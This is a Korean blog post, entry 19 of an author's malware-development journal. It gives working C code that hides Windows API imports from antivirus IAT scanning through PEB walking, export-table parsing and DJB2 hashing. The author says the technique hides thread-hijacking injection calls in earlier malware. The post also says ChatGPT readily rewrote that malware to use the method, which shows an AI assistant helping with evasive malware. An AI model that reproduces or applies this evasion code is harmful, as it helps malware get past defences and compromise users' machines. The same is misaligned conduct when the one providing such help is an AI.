악성코드와 백신/악성코드 개발일지

[악성코드 개발](19)[IAT bypass]

황올뱀 2026. 5. 14. 21:45

이전까지는 직접 스레드 만드는 것을 우회하고
의심을 피하기 위해 스레드를 잠깐 멈추고 내 페이로드를 실행 후 원복하는 것까지 했다.

 

근데 이건 의심을 덜을 수는 있지만, 근본적인 해결책은 아니다.
악성코드 개발 18에서 사용된 API 함수인 getThreadContext, virtualAllocEx 등을 백신 6의 IAT 백신에 등록하기만 해도 잡힐 것이다.

 

IAT의 동작

이전에 IAT가 뭔지는 알아봤는데,
IAT를 우회하기 위해 더 자세히 IAT가 dll과 사용된 API를 저장하는 방식을 알아보자.

.idata
 ├── IMAGE_IMPORT_DESCRIPTOR
 ├── DLL 이름 문자열
 ├── Import Lookup Table(INT/ILT)
 ├── Import Address Table(IAT)
 └── Hint/Name Table

즉, IAT라고 뭉뚱그리긴 했지만 백신 6의 백신은 INT를 순회하며 탐지하는 것이다.
    IAT, INT, Import descriptor를 IAT라 섞어 말하기도 한다...

 

이 idata 섹션에 외부 함수 정보를 써놓는다.

  1. .c 파일을 컴파일 하는 과정 중, .o를 만드는 과정에서 외부 함수를 참조하라 써놓음
  2. 링킹 과정에서 해당 설명을 참고해 특정 .dll 등을 참조하라 import metadata에 써놓음
    -> 이떄 IAT가 생성됨 (아직 실제 주소 X)
  3. exe 파일 실행 시 실제 dll에서 함수 주소를 받아 IAT에 덮어 씀

 

dynamic API call

windows의 프로세스 내부에는 PEB라는 구조체가 있으며,
PEB의 loaded module list를 읽으면
winapi에 필요한 kernel32.dll의 base를 얻을 수 있음

 

export table을 직접 파싱하고
원하는 winapi_function의 주소를 얻으면
실제 함수 주소 = kernel32.dll base + addr

 

원하는 함수를 함수 포인터로 바꿔서 호출 가능!
이떄, 직접 API 함수를 호출한게 아니라, 그냥 사용자 함수를 호출한 것처럼 보이므로, IAT에 흔적이 남지 않는다.

 

-> 즉, IAT의 역할을 내가 직접 해서 idata에 기록이 안되게 하는 방법!

코드 구현

오늘은 간단?한 PoC 후 악성코드 개발 18에 적용해보겠다.

#include <Windows.h>
#include <winternl.h>
#include <intrin.h>
#include <stdio.h>

#pragma comment(lib, "ntdll.lib")

typedef struct _MY_LDR_DATA_TABLE_ENTRY {
    LIST_ENTRY InLoadOrderLinks;
    LIST_ENTRY InMemoryOrderLinks;
    LIST_ENTRY InInitializationOrderLinks;

    PVOID DllBase;
    PVOID EntryPoint;

    ULONG SizeOfImage;

    UNICODE_STRING FullDllName;
    UNICODE_STRING BaseDllName;

} MY_LDR_DATA_TABLE_ENTRY, * PMY_LDR_DATA_TABLE_ENTRY;

typedef struct _MY_PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;

    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;

} MY_PEB_LDR_DATA, * PMY_PEB_LDR_DATA;

typedef struct _MY_PEB {
    BYTE Reserved1[2];
    BYTE BeingDebugged;
    BYTE Reserved2[1];

    PVOID Reserved3[2];

    PMY_PEB_LDR_DATA Ldr;

} MY_PEB, * PMY_PEB;

typedef struct _EXPORT_TABLE_INFO {
    PDWORD AddressOfFunctions;
    PDWORD AddressOfNames;
    PWORD  AddressOfOrdinals;
    DWORD  NumberOfNames;
} EXPORT_TABLE_INFO, *PEXPORT_TABLE_INFO;

일단 PEB를 저장할 구조체를 적당히 정의하고

 

필요 함수 정의

https://github.com/vxunderground/vx-api
    해당 레포에서 유용한 함수 몇 개 가져옴
    VX-API: windows 환경의 악성코드 함수/스니펫 모음집
-> 여기에서는 PEB 받기, hash함수를 가져왔다.

// PEB 얻기
PMY_PEB GetPeb() {
#ifdef _WIN64
    return (PMY_PEB)__readgsqword(0x60);
#else
    return (PMY_PEB)__readfsdword(0x30);
#endif
}

// DJB2 HASH
DWORD HashStringDjb2A(LPCSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        Hash = ((Hash << 5) + Hash) + c;
    }

    return Hash;
}

DWORD HashStringDjb2W(LPCWSTR String) {
    ULONG Hash = 5381;
    INT c;

    while ((c = *String++))
    {
        if (c >= 'a' && c <= 'z')
            c -= 0x20;

        Hash = ((Hash << 5) + Hash) + c;
    }

    return Hash;
}

// 멤버 포인터만 있을 때 구조체 시작 주소 역산 매크로
// LIST_ENTRY* -> MY_NODE* 얻기
#ifndef CONTAINING_RECORD
#define CONTAINING_RECORD(address, type, field) \
    ((type *)((PCHAR)(address) - (ULONG_PTR)(&((type *)0)->field)))
#endif

 

PEB walking

dll base를 얻기 위해선 PEB를 봐야 한다.

  • PEB (Process Environment Block)
    loader 정보 (Ldr)
      dll의 목록을 linked list로 관리
      (dll name, dll base, ep, ...)
    heap
    process parameter

즉, Ldr을 순회하며 보면 될 것이다!

// PEB WALKING으로 DLL BASE 찾기
DWORD64 GetModuleHandleByHash(DWORD Hash){
    PMY_PEB pPeb = GetPeb();

    if (!pPeb)
        return 0;

    PMY_PEB_LDR_DATA pLdr = pPeb->Ldr;

    if (!pLdr)
        return 0;

    PLIST_ENTRY pHead = &pLdr->InLoadOrderModuleList;

    PLIST_ENTRY pCurrent = pHead->Flink;

    while (pCurrent != pHead)
    {
        PMY_LDR_DATA_TABLE_ENTRY pEntry =
            CONTAINING_RECORD(
                pCurrent,
                MY_LDR_DATA_TABLE_ENTRY,
                InLoadOrderLinks
            );

        if (pEntry->BaseDllName.Buffer)
        {
            if (HashStringDjb2W(
                pEntry->BaseDllName.Buffer) == Hash)
            {
                return (DWORD64)pEntry->DllBase;
            }
        }

        pCurrent = pCurrent->Flink;
    }

    return 0;
}

GetModuleHandleW()를 직접 구현한 것과 거의 비슷하다.

  1. PEB를 얻어오고
  2. loader 정보에 접근하여
  3. 로드된 dll 리스트를 순회하며
  4. hash(dll_name) = hash(target_dll)이면 dll base 반환

 

export table parsing

dll 내부의 export table에 함수의 주소 정보가 저장됨
-> export table을 알아내야 함

// EXPORT TABLE PARSING
BOOL GetExportTableInfo(DWORD64 ModuleBase, PEXPORT_TABLE_INFO ExportInfo){
    PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)ModuleBase;

    if (pDos->e_magic != IMAGE_DOS_SIGNATURE){
        return FALSE;
    }

    PIMAGE_NT_HEADERS pNt =
        (PIMAGE_NT_HEADERS)(ModuleBase + pDos->e_lfanew);

    if (pNt->Signature != IMAGE_NT_SIGNATURE){
        return FALSE;
    }

    IMAGE_DATA_DIRECTORY ExportDir =
        pNt->OptionalHeader
            .DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    if (!ExportDir.VirtualAddress){
        return FALSE;
    }

    PIMAGE_EXPORT_DIRECTORY pExport =
        (PIMAGE_EXPORT_DIRECTORY)(
            ModuleBase + ExportDir.VirtualAddress);

    ExportInfo->AddressOfFunctions =
        (PDWORD)(ModuleBase + pExport->AddressOfFunctions);

    ExportInfo->AddressOfNames =
        (PDWORD)(ModuleBase + pExport->AddressOfNames);

    ExportInfo->AddressOfOrdinals =
        (PWORD)(ModuleBase + pExport->AddressOfNameOrdinals);

    ExportInfo->NumberOfNames =
        pExport->NumberOfNames;

    return TRUE;
}
  1. dll base에서 시작해 Dos header 읽기
    -> NT header 오프셋 알아옴
  2. NT header 읽기
  3. optional header 읽기
    -> export directory RVA 알아옴
  4. export directory에서 데이터 읽기
    저장된 RVA moduleBase를 더해 VA로 바꾸고
    PEXPORT_TABLE_INFO ExportInfo에 저장

 

최종 addr 계산

DWORD64 GetProcAddressDjb2(DWORD64 ModuleBase, DWORD64 Hash){
    EXPORT_TABLE_INFO ExportInfo = {0};

    if (!GetExportTableInfo(ModuleBase, &ExportInfo)){
        return 0;
    }

    for (DWORD i = 0; i < ExportInfo.NumberOfNames; i++)
    {
        LPCSTR pFuncName =
            (LPCSTR)(
                ModuleBase +
                ExportInfo.AddressOfNames[i]);

        if (HashStringDjb2A(pFuncName) == Hash)
        {
            WORD Ordinal =
                ExportInfo.AddressOfOrdinals[i];

            DWORD FunctionRVA =
                ExportInfo.AddressOfFunctions[Ordinal];

            return ModuleBase + FunctionRVA;
        }
    }

    return 0;
}

base랑 export table 정보 가지고
원하는 function의 hash와 일치하는 함수가 나올 때 까지 순회하며
만약 조건이 맞으면 해당 주소 반환

 

main

// Beep typedef
typedef BOOL(WINAPI* pBeep_t)(
    DWORD dwFreq,
    DWORD dwDuration
    );

int main()
{
    //DWORD kernelHash = HashStringDjb2W(L"KERNEL32.DLL");
    // kernel32.dll의 해시를 외부에서 구해 하드코딩함
    DWORD kernelHash = 1843107157;

    DWORD64 kernelBase = GetModuleHandleByHash(kernelHash);

    if (!kernelBase)
    {
        printf("[-] Failed to find kernel32\n");
        return -1;
    }

    printf("[+] kernel32 : 0x%llX\n", kernelBase);

    //DWORD beepHash = HashStringDjb2A("Beep");
    DWORD beepHash = 2088958881;

    pBeep_t myBeep =
        (pBeep_t)GetProcAddressDjb2(
            kernelBase,
            beepHash
        );

    if (!myBeep)
    {
        printf("[-] Failed to resolve Beep\n");
        return -1;
    }

    printf("[+] Beep : 0x%llX\n", (DWORD64)myBeep);

    myBeep(750, 500);

    return 0;
}

beep 함수를 흔적 없이 부를 수 있다.

 

pBeep_t 타입을 정의해, 매개변수, 반환값 등이 꼬이지 않게 했으며,
직접 얻어온 beep의 주소를 통해 myBeep이라는 함수로 호출할 수 있다.

 

-> 이전에 만든 악성코드도 숨기고 싶은 API를 해당 과정으로 바꿔주면 IAT 탐지를 회피할 수 있다!
    지피티한테 Beep을 MyBeep으로 바꾼 방식으로 고쳐달라고 하면 잘 바꿔준다.
    (너무 길어서 첨부파일 참조...)

dynamic_API_thread_hijacking.c
0.01MB

 

이게 dynamic API를 적용하기 전의 PE파일이다.
의심되는 Get/SetThreadContext나 VirtualAcllocEx등이 고스란히 보인다...
    21개의 함수를 import

 

반면, 적용한 파일은 동일한 동작을 하는 코드임에도

딱히 Kernel32에서 불러오는 함수가 critical하지 않아 보인다!
    7개의 함수를 import
정상적으로 잘 숨겨진 것이다!

반응형